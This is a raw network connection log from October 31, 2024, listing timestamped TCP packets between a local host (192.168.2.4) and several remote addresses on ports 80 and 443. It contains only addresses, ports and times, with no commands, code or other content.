Oct 31, 2024 11:27:05.605932951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605933905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605971098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605971098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.606018066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.606029034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.606040001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.606065989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.606067896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.606076956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.606087923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.606095076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.606101036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.606123924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.606154919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.606167078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.606211901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.606225014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.606265068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:07.226922035 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:07.227021933 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:07.227049112 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:07.227065086 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:07.227107048 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:07.227114916 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:07.227191925 CET	49735	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:07.227214098 CET	443	49735	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:07.227272034 CET	49735	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:07.228142977 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:07.228156090 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:07.228291035 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:07.228346109 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:07.228410959 CET	49735	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:07.228456020 CET	443	49735	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:07.229420900 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:07.229455948 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:07.229527950 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:07.229741096 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:07.229758024 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.079365969 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.081142902 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.081387997 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.081413031 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.081528902 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.081553936 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.082885981 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.082891941 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.082966089 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.082968950 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.084124088 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.084197044 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.084381104 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.084492922 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.084553003 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.084660053 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.084666014 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.088677883 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.088984013 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.089044094 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.090081930 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.090164900 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.090599060 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.090673923 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.090985060 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.091001987 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.110263109 CET	443	49735	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.111629963 CET	49735	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.111665010 CET	443	49735	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.112603903 CET	443	49735	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.112673998 CET	49735	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.113065958 CET	49735	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.113135099 CET	443	49735	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.113212109 CET	49735	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.113226891 CET	443	49735	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.131331921 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.139031887 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.139050961 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.139075041 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.139081955 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.154679060 CET	49735	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.185945988 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.365041018 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.365096092 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.365127087 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.365154982 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.365209103 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.365251064 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.365264893 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.365938902 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.366059065 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.366070986 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.368382931 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.369643927 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.369668007 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.373040915 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.373089075 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.373130083 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.373161077 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.373166084 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.373193979 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.373224974 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.373245955 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.373253107 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.373266935 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.379992008 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.382330894 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.382349968 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.386845112 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.386885881 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.386910915 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.386990070 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.387053967 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.387132883 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.387203932 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.391474962 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.393022060 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.393038988 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.394872904 CET	443	49735	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.396289110 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.396388054 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.396415949 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.411123037 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.411148071 CET	443	49733	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.411277056 CET	49733	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.413886070 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.413911104 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.417573929 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.417638063 CET	443	49734	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.417712927 CET	49734	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.429070950 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.429096937 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.444454908 CET	49735	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.444469929 CET	443	49735	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.445616961 CET	49735	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.445703983 CET	443	49735	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.445774078 CET	49735	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.482731104 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.694689035 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.694783926 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.694814920 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.694833994 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.694847107 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.694859982 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.694889069 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.694993019 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695044994 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695053101 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.695064068 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695117950 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.695122957 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695276022 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695326090 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.695336103 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695372105 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695425987 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695435047 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.695440054 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695489883 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.695493937 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695791960 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695817947 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695847988 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695872068 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.695878029 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.695905924 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.700227976 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.700273037 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.700295925 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.700309992 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.700387001 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.700401068 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.700457096 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.700498104 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.700504065 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.700992107 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.701030016 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.701046944 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.701054096 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.701148033 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.701191902 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.701198101 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.701256990 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.706536055 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706579924 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706598043 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706614971 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706640005 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706643105 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.706656933 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706671953 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.706706047 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.706763029 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706806898 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706831932 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706850052 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706856012 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.706865072 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706892014 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706911087 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706918955 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.706918955 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.706928015 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.706964016 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.707205057 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.707243919 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.707247972 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.707636118 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.707720041 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.707726002 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.708472013 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.708504915 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.708528042 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.708534002 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.708540916 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.708561897 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.708704948 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.708718061 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.708746910 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.708748102 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.708758116 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.708797932 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.708805084 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.708846092 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.714669943 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.722389936 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.722455978 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.722475052 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.722685099 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.722721100 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.722750902 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.722764015 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.722770929 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.722806931 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.722807884 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.722817898 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.722850084 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.723030090 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.723073006 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.724956036 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.728424072 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.728476048 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.728490114 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.734225035 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.734298944 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.734311104 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.739346981 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.739418030 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.739430904 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.745116949 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.745229006 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.745242119 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.748200893 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.748262882 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.748277903 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.751461983 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.751595020 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.751605034 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.754554033 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.754667997 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.754681110 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.757714033 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.757793903 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.757803917 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.760951042 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.761008978 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.761019945 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.764012098 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.764066935 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.764076948 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.767190933 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.770206928 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.770219088 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.770347118 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:08.770404100 CET	443	49737	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:08.770459890 CET	49737	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:10.208868027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:10.208950043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:10.494772911 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:10.494791031 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:10.494851112 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:10.495029926 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:10.495038986 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.220026970 CET	49747	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:11.220079899 CET	443	49747	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:11.220185041 CET	49747	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:11.220416069 CET	49747	443	192.168.2.4	142.250.185.228
Oct 31, 2024 11:27:11.220428944 CET	443	49747	142.250.185.228	192.168.2.4
Oct 31, 2024 11:27:11.355458975 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.355686903 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.355695009 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.356686115 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.356753111 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.357777119 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.357853889 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.357949972 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.357954979 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.406025887 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.501097918 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:11.501153946 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:11.501235962 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:11.501550913 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 11:27:11.501565933 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 11:27:11.604773045 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.604820967 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.604851961 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.604868889 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.604893923 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.604928017 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.604950905 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.604950905 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.604959965 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.604995966 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.613178968 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.613223076 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.613244057 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.654330015 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.654357910 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.701515913 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.723475933 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.723608971 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.723697901 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.723722935 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.725053072 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.725119114 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.725130081 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.729559898 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.729633093 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.729643106 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.738285065 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.738373995 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.738387108 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.746928930 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.747000933 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.747011900 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.755739927 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.755819082 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.755830050 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.764828920 CET	443	49745	142.250.185.78	192.168.2.4
Oct 31, 2024 11:27:11.764909983 CET	49745	443	192.168.2.4	142.250.185.78
Oct 31, 2024 11:27:11.764921904 CET	443	49745	142.250.185.78	192.168.2.4
